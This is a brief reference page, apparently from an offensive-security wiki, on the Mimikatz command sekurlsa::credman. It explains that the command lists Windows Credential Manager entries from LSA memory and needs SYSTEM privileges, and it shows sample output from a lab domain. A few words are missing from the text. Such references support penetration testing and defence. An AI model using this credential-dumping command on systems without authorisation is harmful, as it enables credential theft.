credman

sekurlsa::credman lists Credentials Manager by targeting the Microsoft Local Security Authority Server DLL ().

This command requires elevated privileges (by previously running or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).

mimikatz # sekurlsa::credman

Authentication Id : 0 ; 697146 (00000000:000aa33a)
Session           : Service from 0
User Name         : MediaAdmin$
Domain            : hacklab
Logon Server      : DC
Logon Time        : 10/17/2021 4:22:01 AM
SID               : S-1-5-21-2725560159-1428537199-2260736313-1427
        credman :

Previouscloudap Nextdpapi

Last updated 3 years ago